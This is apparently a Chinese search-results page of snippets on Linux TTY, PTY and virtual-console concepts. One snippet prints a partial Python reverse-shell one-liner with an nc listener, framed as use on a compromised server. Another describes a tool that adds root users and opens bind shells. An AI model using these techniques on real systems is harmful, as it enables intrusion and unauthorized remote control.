展开

关键词

linux tty_linux tty

它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2等。 当你在控制台上登录时,使用的是tty1。 使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、tty3等上面去。tty1–tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上。 只有系统或超级用户root可以向/dev/tty0进行写操作 即下例: 1、# tty(查看当前TTY) /dev/tty1 2、#echo “test tty0” > /dev/tty0 test ---- Q:/dev/tty0与/dev/tty1 …/dev/tty63是什么?它们之间有什么区别? A:/dev/tty0代表当前虚拟控制台,而/dev/tty1等代表第一个虚拟控制台,例如当使用ALT+F2进行切换时,系统的虚拟控制台为/dev/tty2 ,当前的控制台则指向/dev/tty2 --

16220

IO之TTY

历史上,TTY是Teletypewriter(电传打字机?)的缩写。而现在,从物理角度来看,它是一个Console(控制台);从使用角度开看,它是一个Terminal(终端)。 通过一个Serial Device(串行设备),提供一个Shell(命令行解释器),实现文本方式的IO(输入输出)操作 VxWorks里,默认通过第0个串口(/tyCo/0)提供TTY功能;而IA设备的话

22920
  • 广告
    关闭

    《云安全最佳实践-创作者计划》火热征稿中

    发布文章赢千元好礼!

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    ubuntu开机进入tty1_ubuntu tty模式

    ::askfirst:/bin/sh tty2::askfirst:/bin/sh tty3::askfirst:/bin/sh tty4::askfirst:/bin/sh tty5: :askfirst:/bin/sh tty6::askfirst:/bin/sh ::ctrlaltdel:/sbin/reboot ::shutdown:/bin/umount -a -r 4、将 etc/inittab文件改为如下内容: ::sysinit:/etc/init.d/rcS ::respawn:/sbin/getty 38400 tty1 ::respawn:/ sbin/getty 38400 tty2 ::respawn:/sbin/getty 38400 tty3 ::respawn:/sbin/getty 38400 tty4 ::respawn :/sbin/getty 38400 tty5 ::respawn:/sbin/getty 38400 tty6 ::shutdown:/bin/umount -a -r ::ctrlaltdel

    12520

    tty命令手册

    功能 返回终端名称 示例 1、mac本地终端 ss:devops ss$ tty /dev/ttys000 2、CentOS远程终端 [root@node_116 ~]# tty /dev/pts/0 root@node_116 pts]# w 21:51:55 up 145 days, 6:46, 2 users, load average: 0.04, 0.05, 0.05 USER TTY [root@node_116 pts]# who -a system boot 2020-01-17 09:15 LOGIN tty1 2020-01- 17 09:15 707 id=tty1 run-level 3 2020-01-17 09:20 root + pts/0 2020 root@node_116 pts]# w 21:52:11 up 145 days, 6:47, 1 user, load average: 0.03, 0.05, 0.05 USER TTY

    23710

    linux中tty由来

    事实上,无论何时启动终端模拟器或在系统中使用任何类型的shell,它都会与称为伪TTY或PTY的虚拟TTY交互。你只需在终端模拟器中输入tty即可找到关联的PTY。 如何在Linux中访问TTY 在Linux中访问TTY很容易。事实上,你经常访问它。 + ALT + F4 – TTY4 CTRL + ALT + F5 – TT5 CTRL + ALT + F6 – TTY6 你总共最多可以访问六个TTY。 一些用户还喜欢在TTY的帮助下执行大文件传输。 tty也是Linux中的一个命令 当你在终端模拟器中输入TTY时,它将打印连接到标准输入的终端的文件名,如手册页所述。 换句话说,要知道你连接的TTY号码,只需输入TTY。并且,如果有多个用户远程连接到Linux机器,你可以使用who命令来检查其他TTY连接到哪些用户。

    29820

    linux下tty详解

    它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2等。这些文件赋予了linux同时处理多任务,多窗口切换的能力。 /dev/tty1等代表第一个虚拟控制台 例如当使用ALT+F2进行切换时,系统的虚拟控制台为/dev/tty2 ,当前控制台(/dev/tty)则指向/dev/tty2 你可以登录到不同的虚拟控制台上去 因此不管当前正在使用哪个虚拟控制台(注意:这里是虚拟控制台,不包括伪终端),系统信息都会发送到/dev/tty0上。只有系统或超级用户root可以向/dev/tty0进行写操作。 tty0是系统自动打开的,但不用于用户登录。 查看我当前tty: ~ » tty /dev/pts/4 现在我们在打开一个终端: ~ » tty /dev/pts/5 你会发现/dev/pts/下多了一个文件,这就是我们当前终端的控制台 你可以使用

    11.8K10

    tty各种设备的情况

    (这些是确确实实存在的终端设备) (2)控制终端(/dev/tty) 如果当前进程有控制终端(Controlling Terminal)的话,那么/dev/tty就是当前进程的控制终端的设备特殊文件。 对于你登录的shell,/dev/tty就是你使用的终端(也就是当前控制终端),设备号是(5,0)。使用命令”tty”可以查看它具体对应哪个实际终端设备。 /dev/tty有些类似于到实际所使用终端设备的一个联接。 它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2 等。当你在控制台上登录时,使用的是tty1。 使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、tty3等上面去。tty1–tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上。

    1K100

    linux tty设备_centos开启ftp

    http://minimalinux.org/ttylinux/downloadX86.html (ttylinux-i686-11.1.iso.gz) (b...

    4010

    Linux中的tty与pts

    Terminal)的话,那么/dev/tty就是当前进程的控制终端的设备特殊文件。 对于你登录的shell,/dev/tty就是你使用的终端,设备号是(5,0)。使用命令”tty”可以查看它具体对应哪个实际终端设备。/dev/tty有些类似于到实际所使用终端设备的一个联接。    它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2等。当你在控制台上登录时,使用的是tty1。 使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、tty3等上面去。tty1 –tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上。 只有系统或超级用户root可以向/dev/tty0进行写操作 即下例: CODE: # tty(查看当前TTY) /dev/tty1 #e cho "test tty0" > /dev/tty0 test

    2K20

    Linux 终端tty pty pts描述

    那这六个终端接口如何命名呢,系统会将[F1] ~ [F6]命名为tty1 ~ tty6的操作接口环境。 7.2 (Maipo) ###从虚拟机直接登陆到shell,此时产生tty1,如下 [root@desktop ~]# tty /dev/tty1 [root@desktop ~]# ps [root@desktop ~]# tty /dev/tty2 ###如下,可以看到有2个tty,一个是tty1,一个是tty2 [root@desktop ~]# ps -ef|grep tty tty1终端,如下,回到tty1的Documents目录下 [root@desktop Documents]# ###再开几个tty终端,如下,出现了tty3,tty6等。 00:00:00 grep --color=auto tty [root@desktop ~]# tty /dev/tty6 ###在tty6切换到X window [root@desktop ~]

    2.7K30

    linux tty0_linuxtty中文

    # cp -rv /usr/share/grub/i386-redhat/*iso/boot/grub

    7420

    tinycorelinux安装到硬盘_tty5

    i.ttylinux 是一个基于2.6版内核、体积非常之小(5M左右的LiveCD)的Linux。它运行于i486以上平台的PC机上,安装之后,ttylinux...

    5020

    Screen dumps,获取TTY终端输出内容

    需求 在实际生产出现问题,获得机器ip并ssh登陆以后,常常需要知道获得前端显示器(tty1)打印信息。 is a character device with major number 7 and minor number 0, usually of mode 0644 and owner root.tty terminals, they have major number 7 and minor number 1 to 63, usually mode 0644 and owner root.tty the /dev/vcs devices each correspond to the /dev/tty devices with the same number. #获取tty1屏幕输出追加到 screen.dump [root@WorkFromHome ~]# setterm -append 2 #获取tty2屏幕输出追加到

    66420

    TTY 到底是个什么玩意?

    设想一种场景,假如你攻破了别人的一台机器,比如 kawabangga.com 所在的服务器,你发现了一种可以在里面执行 python 代码的方法,但是,你只能将代码注入进去执行,看不到输出,这怎么办呢? 下面演示,我在下面的终端使用 nc 打开了一个 tcp 端口,然后在上面的终端执行了如下命令: python3 -c 'import socket,subprocess,os;s=socket.socket s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 可以看到这段 python 我几乎将其完全翻译到本文中了 Run interactive Bash with popen and a dedicated TTY Python[11] 这是在 Python 中如何使用 PTY 的一个例子 /p49i [11] Run interactive Bash with popen and a dedicated TTY Python: https://www.py4u.net/discuss/13831

    44730

    the input device is not a TTY. If you are using mintty, try prefixing the comma

    windows上执行Docker命令,如: docker exec -it mysql mysql -uroot -p 就会报错: the input device is not a TTY.

    1.1K41

    一键批量关闭 Linux 的 tty 的方法

    由于各种原因,可能需要关闭一些不必要的 tty。 比如:服务器被非法登录、忘记关闭某些设备上已登录的 tty、终止一些不使用的tty等场景就需要批量强制关闭 tty。 二 解决方案 解决方案主要使用了几个常用的命令,不做介绍。 #! /bin/bash for tty in `w -s|awk 'NR>2{print $2}'`; do if [ "/dev/${tty}" ! = $(tty) ] ; then ps -t /dev/${tty}|awk 'NR>1{print $1}'|xargs kill -9; fi; done 三 总结 3.1 脚本加了一个 if 判断,主要是判断杀死的 tty 并非当前在使用的 tty

    89820

    Linux基础之终端、控制台、tty、pty等概念简介

    对于你登录的shell,/dev/tty就是你使用的终端,设备号是(5,0)。使用命令”tty”可以查看它具体对应哪个实际终端设备。/dev/tty有些类似于到实际所使用终端设备的一个联接。 它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2 等。当你在控制台上登录时,使用的是tty1。 使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、tty3等上面去。 tty1–tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上(这时也叫控制台终端)。因此不管当前正在使用哪个虚拟终端,系统信息都会发送到控制台终端上。 /dev/tty代表当前tty设备,在当前的终端中输入 echo “hello” > /dev/tty ,都会直接显示在当前的终端中 好啦,今天的分享到这里就结束了,如果需要更多技术性文章,可以访问马哥教育官网

    1.1K00

    linux自启脚本(以及无法进入tty控制台)

    2.放在/etc/init.d/目录下  (操作系统复制命令,在当前文件夹下复制sudo cp  auto /etc/init.d)[可能先要对init.d取得...

    40110

    TAS:一款轻量级tty修改与代码伪造框架

    TAS是一款轻量级框架,在它的帮助下,研究人员可以轻松修改tty并创建伪造的代码。 这对于创建伪造代码来说非常有用; 2、tas_forkpty:这个函数跟forkpty一样,不过它会自动填充自定义结构体,检查forkpty操作页并获取详细信息; 3、tasttyloop:这个函数负责对tty 功能模块 目前,该工具只有下列三个功能模块: 1、add-root-user:使用/etc/passwd中的密码创建一个root用户; 2、bind-shell:监听传入的连接,并生成一个tty shell 项目构建 首先,我们需要构建项目基库: $ make CC .obj/globals.o CC .obj/getinode.o CC .obj/tas-execv.o CC .obj/tty.o leet-shell 在leet-shell这个使用样例中,你可以修改tty输出,它将允许你使用bash(类似1337 h4x0r): [test@alfheim tas]$ make fun/leet-shell

    46120

    Linux 终端初始化 console_init 及 tty 驱动框架

    虚拟终端(/dev/tty*) 当用户登录时,使用的是虚拟终端。使用Ctcl+Alt+[F1—F6]组合键时,我们就可以切换到tty1、tty2、tty3等上面去。 tty1–tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名。 主要调用 tty_register_ldisc(N_TTY, &n_tty_ops) 注册 tty 线路规程。 tty 驱动 我们不要把 tty 驱动和 串口驱动 弄混了,tty 驱动架构如下: 其中 tty driver 等价于我们普通写的驱动,可以自己写。 在 console_init 函数中,它做的两件事,就是注册 tty 线路规程,注册 tty 驱动,tty 核心是包含在内核当中的。tty 线路规程和 tty 驱动可以有很多个。

    60610

    相关产品

    • Serverless HTTP 服务

      Serverless HTTP 服务

      Serverless HTTP 基于腾讯云 API 网关平台,为互联网业务提供 0 配置、高可用、弹性扩展的对外 RESTful API 能力,支持 swagger/ openAPI 等协议。便于客户快速上线业务逻辑,通过规范的 API 支持内外系统的集成和连接。

    相关资讯

    热门标签

    活动推荐

    扫码关注腾讯云开发者

    领取腾讯云代金券